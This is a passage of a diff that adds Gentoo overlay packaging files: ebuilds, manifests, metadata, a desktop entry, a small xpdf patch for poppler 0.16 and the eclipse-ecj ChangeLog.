+  	AC_HELP_STRING([--disable-schemas-install],
+		       [Disable the schemas installation]),
+     [case ${enableval} in
+       yes|no) ;;
+       *) AC_MSG_ERROR([bad value ${enableval} for --enable-schemas-install]) ;;
+      esac])
+  AM_CONDITIONAL([GCONF_SCHEMAS_INSTALL], [test "$enable_schemas_install" != no])
+])
diff --git a/app-text/evince-light/metadata.xml b/app-text/evince-light/metadata.xml
new file mode 100644
index 00000000..091a7f38
--- /dev/null
+++ b/app-text/evince-light/metadata.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>gnome</herd>
+	<use>
+		<flag name="gnome">Enable the use of <pkg>gnome-base/gconf</pkg> to honour
+		lockdown settings</flag>
+		<flag name="dvi">Enable the built-in DVI viewer</flag>
+		<flag name="introspection">Use <pkg>dev-libs/gobject-introspection</pkg>
+  	for introspection</flag>
+		<flag name="nautilus">Enable property page extension in <pkg>gnome-base/nautilus</pkg></flag>
+		<flag name="t1lib">Enable the Type-1 fonts for the built-in DVI viewer
+    (<pkg>media-libs/t1lib</pkg>)</flag>
+		<flag name="xps">Enable XPS viewer using <pkg>app-text/libgxps</pkg></flag>
+	</use>
+</pkgmetadata>
diff --git a/app-text/foxitreader/Manifest b/app-text/foxitreader/Manifest
new file mode 100644
index 00000000..e17fc279
--- /dev/null
+++ b/app-text/foxitreader/Manifest
@@ -0,0 +1 @@
+DIST FoxitReader-1.1.0.tar.bz2 3787587 SHA256 02f1ad5ad2fd516754254f349c94b8e81b57b9eb2a0315f30debdc5d7fb8dbf4
diff --git a/app-text/foxitreader/files/foxitreader.desktop b/app-text/foxitreader/files/foxitreader.desktop
new file mode 100644
index 00000000..01958137
--- /dev/null
+++ b/app-text/foxitreader/files/foxitreader.desktop
@@ -0,0 +1,22 @@
+[Desktop Entry]
+Encoding=UTF-8
+Version=1.0
+Name=Foxit Reader
+Name[zh_CN]=福昕阅读器
+Name[zh_HK]=福昕閱讀器
+Name[zh_TW]=福昕閱讀器
+GenericName=PDF Reader
+GenericName[zh_CN]=PDF阅读器
+GenericName[zh_HK]=PDF閱讀器
+GenericName[zh_TW]=PDF閱讀器
+Comment=Read PDF Document
+Comment[zh_CN]=阅读PDF文档
+Comment[zh_HK]=閱讀PDF文件
+Comment[zh_TW]=閱讀PDF文件
+Exec=foxitreader %U
+Icon=foxitreader
+Terminal=false
+Type=Application
+StartupNotify=true
+Categories=Application;Office;Viewer;
+MimeType=application/pdf;application/x-bzpdf;application/x-gzpdf;
diff --git a/app-text/foxitreader/files/foxitreader.png b/app-text/foxitreader/files/foxitreader.png
new file mode 100644
index 00000000..85f8b1b4
Binary files /dev/null and b/app-text/foxitreader/files/foxitreader.png differ
diff --git a/app-text/foxitreader/foxitreader-1.1.0.ebuild b/app-text/foxitreader/foxitreader-1.1.0.ebuild
new file mode 100644
index 00000000..70706f77
--- /dev/null
+++ b/app-text/foxitreader/foxitreader-1.1.0.ebuild
@@ -0,0 +1,59 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils versionator
+
+MY_PN="FoxitReader"
+MY_P="${MY_PN}-${PV}"
+
+SRC_BASE="cdn04.foxitsoftware.com/pub/foxit/reader/desktop/linux/"
+DESCRIPTION="Foxit Reader for desktop Linux"
+HOMEPAGE="http://www.foxitsoftware.com/pdf/desklinux"
+SRC_URI="${SRC_BASE}/$(get_major_version).x/$(get_version_component_range 1-2)/enu/${MY_P}.tar.bz2"
+
+LICENSE="Foxit-EULA"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE=""
+LANGS="de fr ja zh_CN zh_TW"
+for X in ${LANGS} ; do
+	IUSE="${IUSE} linguas_${X}"
+done
+
+DEPEND=""
+RDEPEND="
+	amd64? ( app-emulation/emul-linux-x86-xlibs
+		app-emulation/emul-linux-x86-gtklibs )
+	x86? ( media-libs/freetype:2
+		>=x11-libs/gtk+-2.12 )"
+
+S="${WORKDIR}/$(get_version_component_range 1-2)-release"
+RESTRICT="mirror strip"
+
+src_install() {
+	mv "${S}"/Readme.txt "${WORKDIR}"/README
+	dodoc "${WORKDIR}"/README
+
+	ebegin "Installing package"
+		for X in ${LANGS} ; do
+			if use linguas_${X} ; then
+				insinto /usr/share/locale/${X}/LC_MESSAGES
+				doins "${S}"/po/${X}/${MY_PN}.mo \
+					|| die "failed to install languages files"
+			fi
+		done
+		rm -R "${S}"/po
+
+		insinto /opt/${PN}
+		doins "${S}"/* || die "failed to install program files"
+		fperms 0755 /opt/${PN}/${MY_PN}
+	eend $? || die "failed to install package"
+
+	doicon "${FILESDIR}"/${PN}.png
+	domenu "${FILESDIR}"/${PN}.desktop
+
+	make_wrapper ${PN} /opt/${PN}/${MY_PN}
+}
diff --git a/app-text/foxitreader/metadata.xml b/app-text/foxitreader/metadata.xml
new file mode 100644
index 00000000..1fa0ca56
--- /dev/null
+++ b/app-text/foxitreader/metadata.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+<herd>printing</herd>
+</pkgmetadata>
diff --git a/app-text/xpdf/Manifest b/app-text/xpdf/Manifest
new file mode 100644
index 00000000..dbf83aaa
--- /dev/null
+++ b/app-text/xpdf/Manifest
@@ -0,0 +1,5 @@
+AUX xpdf-3.02-poppler-0.16.patch 508 SHA256 1eba6540056c72c71db9845dac660398b27f228fe50dd0e7dd548101f94aa013 SHA512 4281a2ef8e95b8d79fe039357da6295778096ab0a9cc7d337bd94afc86d0d86a11859b74b065a08024b4a2fba0d48cf8b0080d7f3856e6ca6d5c84bcb825023b WHIRLPOOL b258e4688d0480a30aa191643370ae11b601e34bcda159cb867fbcdbd63d335d3f283e39f043b7df87500a0a67a6f4cac75b65878ac01a94426f11f01c5251fd
+AUX xpdf-3.03-poppler-0.16.patch 508 SHA256 1eba6540056c72c71db9845dac660398b27f228fe50dd0e7dd548101f94aa013 SHA512 4281a2ef8e95b8d79fe039357da6295778096ab0a9cc7d337bd94afc86d0d86a11859b74b065a08024b4a2fba0d48cf8b0080d7f3856e6ca6d5c84bcb825023b WHIRLPOOL b258e4688d0480a30aa191643370ae11b601e34bcda159cb867fbcdbd63d335d3f283e39f043b7df87500a0a67a6f4cac75b65878ac01a94426f11f01c5251fd
+DIST xpdf-3.03-patchset.tgz 9494 SHA256 0d8611f2d4f4a0f8ccc1f004779ff8442b5a6bde4eaed17e042460f41c19bd37 SHA512 995ac5f58a2a53969f402a3fad6d8b847462ecdf4dfa5a66001955508b934085f4a82a60c372606a0e84ba27a6aa94764b217d46d9a5a3a25453ba01883d9271 WHIRLPOOL c8988df2ee7af140f6d12052aab2ab8aafcc89ea5ea9b0e2d3c3391eb7e082c7241740e12521f9ffe9e5122aa21b22f1839c3faf04cf4e8827f8fdf0448974c3
+DIST xpdf-3.03-poppler.tgz 131039 SHA256 d86d8bc34d38de342e1f8adc7994499c36db6b0756c61f05712a0c9101c9860a SHA512 b3f9db8e4f6c2f1d9d580c177e569415fa31ca565085e1b1438c70d52f4f6b71f4f576d08c1a3c59832a3afa4dcabd10f04903cbd99ba8ca868166d0baba484c WHIRLPOOL 3af57170e515ba00fda8447db2788e9ead5511906598ca13ccea50c6a517b67e46cdf186b96df45ecbfe91d2197f2f6dfd305928c437f00f5971a2bac1d39b86
+EBUILD xpdf-3.03.ebuild 1916 SHA256 a1ac8fd6ed717423f1021b493c51a9a95a5186b267d30ad4334a626a8ecc5b96 SHA512 d61ec6c0bb23f85f756bdf2d9213420cb6e0f247a8a46d02fe30291e3524d33d002fb6e9bd491c849f1916ceced93c77a102dd931c529b7930cb5357bb68e708 WHIRLPOOL 2a0634e4c499fc247c36f6561cbd538f9974655d96c40907cc06bc77e77b7a1c370ff702415d2e73230c5ef86633362becc0fa81f51df25fd7829a23c84a3c2a
diff --git a/app-text/xpdf/files/xpdf-3.02-poppler-0.16.patch b/app-text/xpdf/files/xpdf-3.02-poppler-0.16.patch
new file mode 100644
index 00000000..ea2d5ee2
--- /dev/null
+++ b/app-text/xpdf/files/xpdf-3.02-poppler-0.16.patch
@@ -0,0 +1,13 @@
+Index: xpdf-3.02-poppler/XPDFViewer.cc
+===================================================================
+--- xpdf-3.02-poppler.orig/XPDFViewer.cc
++++ xpdf-3.02-poppler/XPDFViewer.cc
+@@ -3447,7 +3447,7 @@ void XPDFViewer::printPrintCbk(Widget wi
+     lastPage = doc->getNumPages();
+   }
+ 
+-  psOut = new PSOutputDev(psFileName->getCString(), doc->getXRef(),
++  psOut = new PSOutputDev(psFileName->getCString(), doc, doc->getXRef(),
+ 			  doc->getCatalog(),
+ 			  NULL,
+ 			  firstPage, lastPage, psModePS);
diff --git a/app-text/xpdf/files/xpdf-3.03-poppler-0.16.patch b/app-text/xpdf/files/xpdf-3.03-poppler-0.16.patch
new file mode 100644
index 00000000..ea2d5ee2
--- /dev/null
+++ b/app-text/xpdf/files/xpdf-3.03-poppler-0.16.patch
@@ -0,0 +1,13 @@
+Index: xpdf-3.02-poppler/XPDFViewer.cc
+===================================================================
+--- xpdf-3.02-poppler.orig/XPDFViewer.cc
++++ xpdf-3.02-poppler/XPDFViewer.cc
+@@ -3447,7 +3447,7 @@ void XPDFViewer::printPrintCbk(Widget wi
+     lastPage = doc->getNumPages();
+   }
+ 
+-  psOut = new PSOutputDev(psFileName->getCString(), doc->getXRef(),
++  psOut = new PSOutputDev(psFileName->getCString(), doc, doc->getXRef(),
+ 			  doc->getCatalog(),
+ 			  NULL,
+ 			  firstPage, lastPage, psModePS);
diff --git a/app-text/xpdf/xpdf-3.03.ebuild b/app-text/xpdf/xpdf-3.03.ebuild
new file mode 100644
index 00000000..9d71d91d
--- /dev/null
+++ b/app-text/xpdf/xpdf-3.03.ebuild
@@ -0,0 +1,84 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-text/xpdf/xpdf-3.02-r4.ebuild,v 1.12 2011/10/18 21:56:02 dilfridge Exp $
+
+EAPI=4
+
+inherit fdo-mime gnome2 eutils flag-o-matic toolchain-funcs
+
+DESCRIPTION="An X Viewer for PDF Files"
+HOMEPAGE="http://www.foolabs.com/xpdf/"
+SRC_URI="http://195.113.26.193/~sanda/mirror/${P}-poppler.tgz
+	http://195.113.26.193/~sanda/mirror/xpdf-3.03-patchset.tgz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~ppc ~ppc64 ~sh ~sparc ~x86 ~x86-fbsd"
+IUSE="nodrm"
+
+RDEPEND="
+	>=app-text/poppler-0.18.0[xpdf-headers]
+	>=x11-libs/openmotif-2.3:0
+	x11-libs/libX11
+	x11-libs/libXpm
+	"
+
+DEPEND="${RDEPEND}
+	dev-util/pkgconfig"
+
+S=${WORKDIR}/${P}-poppler
+
+PATCHDIR="${WORKDIR}/${PV}"
+
+pkg_setup() {
+	append-flags '-DSYSTEM_XPDFRC="\"/etc/xpdfrc\""'
+	# We know it's there, probably won't get rid of it, so let's make
+	# the build output readable by removing it.
+	einfo "Suppressing warning overload with -Wno-write-strings"
+	append-cxxflags -Wno-write-strings
+}
+
+src_prepare() {
+	export EPATCH_SUFFIX=patch
+	export EPATCH_SOURCE="${PATCHDIR}"
+	epatch
+	use nodrm && epatch "${PATCHDIR}/xpdf-3.02-poppler-nodrm.patch"
+	has_version '>=app-text/poppler-0.16' && epatch	"${FILESDIR}/${P}-poppler-0.16.patch"
+	mv parseargs.c parseargs.cc
+}
+
+src_configure() {
+	:
+}
+
+src_compile() {
+	tc-export CXX
+	emake
+}
+
+src_install() {
+	dobin xpdf
+	doman xpdf.1
+	insinto /etc
+	doins "${PATCHDIR}"/xpdfrc
+	dodoc README ANNOUNCE CHANGES
+	doicon "${PATCHDIR}"/xpdf.png
+	insinto /usr/share/applications
+	doins "${PATCHDIR}"/xpdf.desktop
+}
+
+pkg_preinst() {
+	gnome2_icon_savelist
+}
+
+pkg_postinst() {
+	fdo-mime_desktop_database_update
+	fdo-mime_mime_database_update
+	gnome2_icon_cache_update
+}
+
+pkg_postrm() {
+	fdo-mime_desktop_database_update
+	fdo-mime_mime_database_update
+	gnome2_icon_cache_update
+}
diff --git a/dev-java/eclipse-ecj/ChangeLog b/dev-java/eclipse-ecj/ChangeLog
new file mode 100644
index 00000000..46c94dd4
--- /dev/null
+++ b/dev-java/eclipse-ecj/ChangeLog
@@ -0,0 +1,356 @@
+# ChangeLog for dev-java/eclipse-ecj
+# Copyright 1999-2012 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/dev-java/eclipse-ecj/ChangeLog,v 1.81 2012/03/12 15:13:26 ranger Exp $
+
+  12 Mar 2012; Brent Baude <ranger@gentoo.org> eclipse-ecj-3.7.1.ebuild:
+  Marking eclipse-ecj-3.7.1 ppc64 for bug 392391
+
+  10 Mar 2012; Brent Baude <ranger@gentoo.org> eclipse-ecj-3.7.1.ebuild:
+  Marking eclipse-ecj-3.7.1 ppc for bug 392391
+
+*eclipse-ecj-3.7.2 (03 Mar 2012)
+
+  03 Mar 2012; Vlastimil Babka <caster@gentoo.org> +eclipse-ecj-3.7.2.ebuild:
+  Version bump.
+
+  31 Dec 2011; Ralph Sennhauser <sera@gentoo.org> eclipse-ecj-3.3.0-r3.ebuild,
+  eclipse-ecj-3.4-r4.ebuild:
+  Drop ia64 support #345433
+
+  14 Dec 2011; Ralph Sennhauser <sera@gentoo.org> +eclipse-ecj-3.3.0-r3.ebuild:
+  Restore for now, forcing jdk < 1.7
+
+  14 Dec 2011; Agostino Sarubbo <ago@gentoo.org> eclipse-ecj-3.7.1.ebuild:
+  Stable for AMD64, wrt bug #392391
+
+  14 Dec 2011; Ralph Sennhauser <sera@gentoo.org> -eclipse-ecj-3.3.0-r3.ebuild:
+  Remove old, failes to build with Java 7.
+
+  14 Dec 2011; Pawel Hajdan jr <phajdan.jr@gentoo.org>
+  eclipse-ecj-3.7.1.ebuild:
+  x86 stable wrt bug #392391
+
+*eclipse-ecj-3.7.1 (19 Oct 2011)
+
+  19 Oct 2011; Miroslav Šulc <fordfrog@gentoo.org> +eclipse-ecj-3.7.1.ebuild:
+  Added version 3.7 (bug #380165, thanks William L. Thomson Jr.
+  <wlt@obsidian-studios.com> for the ebuild)
+
+  19 Oct 2011; Miroslav Šulc <fordfrog@gentoo.org> -eclipse-ecj-3.5.1.ebuild,
+  eclipse-ecj-3.5.2.ebuild, eclipse-ecj-3.6.ebuild:
+  Fixed links to source files (bug #382511, thanks to Sebastián Magrí
+  <sebasmagri@gmail.com> for the links), and removed old version
+
+*eclipse-ecj-3.6 (21 Dec 2010)
+
+  21 Dec 2010; Alistair Bush <ali_bush@gentoo.org> +eclipse-ecj-3.6.ebuild:
+  Version Bump.
+
+  05 Nov 2010; Mark Loeser <halcy0n@gentoo.org> eclipse-ecj-3.5.2.ebuild:
+  Stable for ppc64; bug #316293
+
+  14 Oct 2010; Brent Baude <ranger@gentoo.org> eclipse-ecj-3.5.2.ebuild:
+  Marking eclipse-ecj-3.5.2 ppc for bug 316293
+
+  25 Jun 2010; Christoph Mende <angelos@gentoo.org>
+  eclipse-ecj-3.5.2.ebuild:
+  Stable on amd64 wrt bug #316293
+
+  21 May 2010; Vlastimil Babka <caster@gentoo.org>
+  eclipse-ecj-3.3.0-r3.ebuild, eclipse-ecj-3.4-r4.ebuild:
+  Change SRC_URI to a live one. Bug #311137.
+
+  27 Apr 2010; Pawel Hajdan jr <phajdan.jr@gentoo.org>
+  eclipse-ecj-3.5.2.ebuild:
+  x86 stable wrt bug #316293
+
+*eclipse-ecj-3.5.2 (20 Mar 2010)
+
+  20 Mar 2010; Vlastimil Babka <caster@gentoo.org>
+  +eclipse-ecj-3.5.2.ebuild:
+  Version bump, bug #310415.
+
+  23 Jan 2010; Alexis Ballier <aballier@gentoo.org>
+  eclipse-ecj-3.5.1.ebuild:
+  depend on findutils only with userland_GNU for bsd userland compatibility,
+  part of bug #214768
+
+  18 Jan 2010; Markus Meier <maekke@gentoo.org> eclipse-ecj-3.5.1.ebuild:
+  amd64 stable, bug #295678
+
+  03 Jan 2010; Christian Faulhammer <fauli@gentoo.org>
+  eclipse-ecj-3.3.0-r3.ebuild, eclipse-ecj-3.4-r4.ebuild,
+  eclipse-ecj-3.5.1.ebuild:
+  Transfer Prefix keywords
+
+  29 Dec 2009; Christian Faulhammer <fauli@gentoo.org>
+  eclipse-ecj-3.5.1.ebuild:
+  stable x86, bug 295678
+
+  10 Nov 2009; Vlastimil Babka <caster@gentoo.org>
+  -files/compiler-settings-3.2, -eclipse-ecj-3.2.2-r1.ebuild,
+  -files/eclipse-ecj-3.2-build-gentoo.patch:
+  Remove the obsolete 3.2.
+
+*eclipse-ecj-3.5.1 (04 Nov 2009)
+
+  04 Nov 2009; Vlastimil Babka <caster@gentoo.org>
+  +eclipse-ecj-3.5.1.ebuild, metadata.xml:
+  Version bump. Fixes bug #277998. Instead of java6 flag, it builds most
+  using 1.4 bytecode and only 1.6 specific parts with 1.6 bytecode, as
+  upstream does. Adds local USE flag 'ant' enabled by default, which pulls
+  the Ant adapter in PDEPEND.
+
+  04 Nov 2009; Vlastimil Babka <caster@gentoo.org>
+  -eclipse-ecj-3.2.2.ebuild, -files/ecj-3.3, -eclipse-ecj-3.3.0-r2.ebuild,
+  -eclipse-ecj-3.4-r3.ebuild:
+  Remove old.
+
+  05 Sep 2009; Brent Baude <ranger@gentoo.org> eclipse-ecj-3.3.0-r3.ebuild:
+  Marking eclipse-ecj-3.3.0-r3 ppc64 for bug 249521
+
+  18 Mar 2009; Brent Baude <ranger@gentoo.org> eclipse-ecj-3.4-r4.ebuild:
+  Marking eclipse-ecj-3.4-r4 ppc for bug 237689
+
+  15 Mar 2009; Markus Meier <maekke@gentoo.org> eclipse-ecj-3.4-r4.ebuild:
+  amd64/x86 stable, bug #237689
+
+  15 Mar 2009; Brent Baude <ranger@gentoo.org> eclipse-ecj-3.4-r4.ebuild:
+  Marking eclipse-ecj-3.4-r4 ppc64 for bug 237689
+
+*eclipse-ecj-3.4-r4 (13 Feb 2009)
+
+  13 Feb 2009; Jean-Noël Rivasseau <elvanor@gentoo.org> -files/ecj-3.4,
+  +eclipse-ecj-3.4-r4.ebuild:
+  Bump to fix #237689 by actually removing support for gcj. gcj support is
+  still available in the overlay.
+
+  11 Feb 2009; Jean-Noël Rivasseau <elvanor@gentoo.org>
+  eclipse-ecj-3.3.0-r2.ebuild, eclipse-ecj-3.3.0-r3.ebuild,
+  eclipse-ecj-3.4-r3.ebuild:
+  Fixed bug #235410.
+
+  19 Jan 2009; Petteri Räty <betelgeuse@gentoo.org>
+  eclipse-ecj-3.4-r3.ebuild:
+  Add app-arch/unzip to DEPEND.
+
+  19 Jan 2009; Petteri Räty <betelgeuse@gentoo.org>
+  -eclipse-ecj-3.4-r2.ebuild:
+  Remove old ebuild.
+
+  20 Dec 2008; Markus Meier <maekke@gentoo.org> eclipse-ecj-3.2.2-r1.ebuild,
+  eclipse-ecj-3.3.0-r3.ebuild:
+  amd64/x86 stable, bug #249521
+
+  06 Dec 2008; nixnut <nixnut@gentoo.org> eclipse-ecj-3.2.2-r1.ebuild,
+  eclipse-ecj-3.3.0-r3.ebuild:
+  Stable on ppc wrt bug 249521
+
+*eclipse-ecj-3.4-r3 (27 Sep 2008)
+
+  27 Sep 2008; Petteri Räty <betelgeuse@gentoo.org>
+  +eclipse-ecj-3.4-r3.ebuild:
+  Use EAPI 2 use dependencies for gcj.
+
+  27 Sep 2008; Petteri Räty <betelgeuse@gentoo.org>
+  eclipse-ecj-3.4-r2.ebuild:
+  Make gcj support work with stable gcc.
+
+  17 Sep 2008; Vlastimil Babka <caster@gentoo.org>
+  eclipse-ecj-3.4-r2.ebuild:
+  Don't restrict gcc dependency.
+
+*eclipse-ecj-3.4-r2 (01 Aug 2008)
+
+  01 Aug 2008; Jean-Noël Rivasseau <elvanor@gentoo.org> +files/ecj-3.4,
+  +eclipse-ecj-3.4-r2.ebuild:
+  Bumping eclipse-ecj-3.4, moving from overlay to tree.
+
+*eclipse-ecj-3.3.0-r3 (21 Jul 2008)
+*eclipse-ecj-3.2.2-r1 (21 Jul 2008)
+
+  21 Jul 2008; Petteri Räty <betelgeuse@gentoo.org>
+  +eclipse-ecj-3.2.2-r1.ebuild, +eclipse-ecj-3.3.0-r3.ebuild:
+  Add app-admin/eselect-ecj support.
+
+  21 Jul 2008; Petteri Räty <betelgeuse@gentoo.org>
+  -eclipse-ecj-3.2.ebuild, -eclipse-ecj-3.3.0-r1.ebuild:
+  Remove old ebuilds.
+
+  07 Apr 2008; Kenneth Prugh <ken69267@gentoo.org> eclipse-ecj-3.2.2.ebuild:
+  amd64 stable, bug #212643
+
+  22 Mar 2008; Markus Meier <maekke@gentoo.org> eclipse-ecj-3.3.0-r2.ebuild:
+  amd64 stable, bug #204484
+
+  11 Mar 2008; Brent Baude <ranger@gentoo.org> eclipse-ecj-3.2.2.ebuild:
+  stable ppc64, bug 212643
+
+  08 Mar 2008; Krzysiek Pawlik <nelchael@gentoo.org>
+  eclipse-ecj-3.2.2.ebuild:
+  Stable on ppc, see bug #212643.
+
+  08 Mar 2008; Markus Meier <maekke@gentoo.org> eclipse-ecj-3.2.2.ebuild:
+  x86 stable, bug #212643
+
+  11 Feb 2008; Brent Baude <ranger@gentoo.org> ChangeLog:
+  Marking eclipse-ecj-3.3.0-r2 ppc64 for bug 204484
+
+  05 Feb 2008; Markus Rothe <corsair@gentoo.org>
+  eclipse-ecj-3.3.0-r2.ebuild:
+  Stable on ppc64
+
+  24 Jan 2008; nixnut <nixnut@gentoo.org> eclipse-ecj-3.3.0-r2.ebuild:
+  Stable on ppc wrt bug 204484
+
+  23 Jan 2008; Raúl Porcel <armin76@gentoo.org>
+  eclipse-ecj-3.3.0-r2.ebuild:
+  Re-add ~ia64 wrt #204484
+
+  23 Jan 2008; Christian Faulhammer <opfer@gentoo.org>
+  eclipse-ecj-3.3.0-r2.ebuild:
+  stable x86, bug 204484
+
+*eclipse-ecj-3.3.0-r2 (23 Jan 2008)
+
+  23 Jan 2008; Vlastimil Babka <caster@gentoo.org>
+  +eclipse-ecj-3.3.0-r2.ebuild:
+  Revbump to inherit proper eclass, fixed bug #207000.
+
+  06 Jan 2008; Vlastimil Babka <caster@gentoo.org>
+  -files/compiler-settings-3.1, -eclipse-ecj-3.1-r13.ebuild:
+  Removing ecj-3.1 - old, and does not work correctly with 1.6 JDK and ant 1.7.0.
+
+  05 Jan 2008; Petteri Räty <betelgeuse@gentoo.org>
+  -eclipse-ecj-3.3.0.ebuild:
+  Delete old revision.
+
+  01 Dec 2007; Markus Rothe <corsair@gentoo.org>
+  eclipse-ecj-3.3.0-r1.ebuild:
+  Stable on ppc64
+
+  27 Oct 2007; Krzysiek Pawlik <nelchael@gentoo.org>
+  eclipse-ecj-3.3.0-r1.ebuild:
+  Stable on ppc.
+
+  17 Oct 2007; Markus Rothe <corsair@gentoo.org>
+  eclipse-ecj-3.3.0-r1.ebuild:
+  Added ~ppc64; bug #191729
+
+  12 Oct 2007; Roy Marples <uberlord@gentoo.org> eclipse-ecj-3.3.0.ebuild,
+  eclipse-ecj-3.3.0-r1.ebuild:
+  Added ~x86-fbsd keyword back - don't drop it again! #191729
+
+  12 Oct 2007; Christian Faulhammer <opfer@gentoo.org>
+  eclipse-ecj-3.3.0-r1.ebuild:
+  stable x86, security bug 195571
+
+  12 Oct 2007; William L. Thomson Jr. <wltjr@gentoo.org>
+  eclipse-ecj-3.1-r13.ebuild, eclipse-ecj-3.2.ebuild,
+  eclipse-ecj-3.2.2.ebuild, eclipse-ecj-3.3.0.ebuild,
+  eclipse-ecj-3.3.0-r1.ebuild:
+  QA fixed copyright, added quotes.
+
+  12 Oct 2007; William L. Thomson Jr. <wltjr@gentoo.org>
+  eclipse-ecj-3.3.0-r1.ebuild:
+  amd64 stable, bug #195571.
+
+*eclipse-ecj-3.3.0-r1 (07 Sep 2007)
+
+  07 Sep 2007; Petteri Räty <betelgeuse@gentoo.org>
+  +eclipse-ecj-3.3.0-r1.ebuild:
+  Use java-pkg_dolauncher instead of the hand written wrapper script.
+
+*eclipse-ecj-3.3.0 (27 Jul 2007)
+
+  27 Jul 2007; Joshua Nichols <nichoj@gentoo.org> +files/ecj-3.3,
+  +files/eclipse-ecj-3.3.0-gcj.patch, +eclipse-ecj-3.3.0.ebuild:
+  Version bump imported from gcj-overlay.
+
+  08 May 2007; Raúl Porcel <armin76@gentoo.org> eclipse-ecj-3.2.2.ebuild:
+  Add ~ia64 wrt #177466
+
+*eclipse-ecj-3.2.2 (25 Apr 2007)
+
+  25 Apr 2007; Vlastimil Babka <caster@gentoo.org>
+  +eclipse-ecj-3.2.2.ebuild:
+  Version bump, bug #168806.
+
+  25 Apr 2007; Petteri Räty <betelgeuse@gentoo.org>
+  eclipse-ecj-3.1-r13.ebuild:
+  Add dev-java/ant-core to RDEPEND and use java-pkg_dojavadoc.
+
+  08 Mar 2007; Petteri Räty <betelgeuse@gentoo.org>
+  files/eclipse-ecj-3.2-build-gentoo.patch, -eclipse-ecj-3.1-r2.ebuild:
+  Remove old revision and fix javadoc installation for 3.2.
+
+  09 Dec 2006; Diego Pettenò <flameeyes@gentoo.org>
+  eclipse-ecj-3.1-r13.ebuild:
+  Add ~x86-fbsd keyword.
+
+  07 Dec 2006; Diego Pettenò <flameeyes@gentoo.org> eclipse-ecj-3.2.ebuild:
+  Add ~x86-fbsd keyword.
+
+  15 Oct 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  eclipse-ecj-3.1-r13.ebuild, eclipse-ecj-3.2.ebuild:
+  ppc stable. bug #147254
+
+  14 Oct 2006; Joshua Nichols <nichoj@gentoo.org>
+  eclipse-ecj-3.1-r13.ebuild, eclipse-ecj-3.2.ebuild:
+  Stabilizing on amd64 as part of new Java system, bug #147254.
+
+  14 Oct 2006; Joshua Jackson <tsunam@gentoo.org>
+  eclipse-ecj-3.1-r13.ebuild, eclipse-ecj-3.2.ebuild:
+  New java stable on x86; bug #147254
+
+  14 Sep 2006; Joshua Nichols <nichoj@gentoo.org> metadata.xml,
+  eclipse-ecj-3.1-r2.ebuild, eclipse-ecj-3.1-r13.ebuild,
+  eclipse-ecj-3.2.ebuild:
+  Added ~ppc64. Moved SRC_URI to Gentoo mirrors. Other minor whitespace cleanups.
+
+*eclipse-ecj-3.2 (10 Aug 2006)
+
+  10 Aug 2006; Joshua Nichols <nichoj@gentoo.org>
+  +files/compiler-settings-3.2, +files/eclipse-ecj-3.2-build-gentoo.patch,
+  +eclipse-ecj-3.2.ebuild:
+  Version bump, thanks to Caster.
+
+  07 Aug 2006; Krzysiek Pawlik <nelchael@gentoo.org>
+  eclipse-ecj-3.1-r13.ebuild:
+  Added classpath.
+
+  22 Jul 2006; Tobias Scherbaum <dertobi123@gentoo.org>
+  eclipse-ecj-3.1-r13.ebuild:
+  Added ~ppc, bug #105223
+
+  25 Jun 2006; <nichoj@gentoo.org> +files/compiler-settings-3.1:
+  Revision bump to add support for new Java system.
+
+  10 Mar 2006; Markus Rothe <corsair@gentoo.org> eclipse-ecj-3.1-r2.ebuild:
+  Added ~ppc64; bug #125715
+
+  24 Dec 2005; Thomas Matthijs <axxo@gentoo.org> -eclipse-ecj-3.1.ebuild:
+  remove
+
+  18 Dec 2005; Joshua Nichols <nichoj@gentoo.org> eclipse-ecj-3.1-r2.ebuild:
+  Added ~amd64 keyword.
+
+*eclipse-ecj-3.1-r2 (04 Sep 2005)
+
+  04 Sep 2005; Karl Trygve Kalleberg <karltk@gentoo.org>
+  +eclipse-ecj-3.1-r2.ebuild:
+  Added updates from Joshua. Also forgot to mention that this stuff is
+  inspired by the of work Scott Carr <scarr@progbits.com> over at #80526.
+
+*eclipse-ecj-3.1 (24 Aug 2005)
+
+  24 Aug 2005; Karl Trygve Kalleberg <karltk@gentoo.org>
+  +eclipse-ecj-3.1.ebuild:
+  Initial import. The source snapshot was ripped straight out of
+  plugins/org.eclipse.jdt.core from the 3.1 zipfile. Note that the
+  directory layout has changed a bit; I don't maintain separate
+  batch and compiler directories. Our layout looks exactly like the
+  one used for the bootstrap compiler in jdtcoresrc/.
+
+
+
diff --git a/dev-java/eclipse-ecj/Manifest b/dev-java/eclipse-ecj/Manifest
new file mode 100644
index 00000000..fb1ec4f9
--- /dev/null
+++ b/dev-java/eclipse-ecj/Manifest
@@ -0,0 +1,15 @@
+AUX eclipse-ecj-3.3.0-gcj.patch 20084 RMD160 08944cef146676d9d7fddc46727bc172d75cdcb5 SHA1 900ccaaec2db0012defc016c65088f979a35e145 SHA256 6c5ffcefdc385305f01b63fcb7088b04698b5d1b8d9db54d058ffcf2252460e8
+DIST ecjsrc-3.4.zip 1280774 RMD160 8d12a84b9ff2b8df252bdc06309558559ce91d2e SHA1 dbf3300205717c165a1b1ec36af4c3fd1e45888b SHA256 a6ce5f0682462e85e5e47229e5b16555f74c60188fa0bb17536beb1138c537b4
+DIST ecjsrc-3.5.2.zip 1298691 RMD160 f6dc987418682dd9d776a692383a37497656fc04 SHA1 7d79ac9602ffa825f6f3ea8ab5a3387b687f5215 SHA256 4ae91449962b1e2781b70713e299f9fa16fb1ce25a4d2bb335c13b55c08d6d74
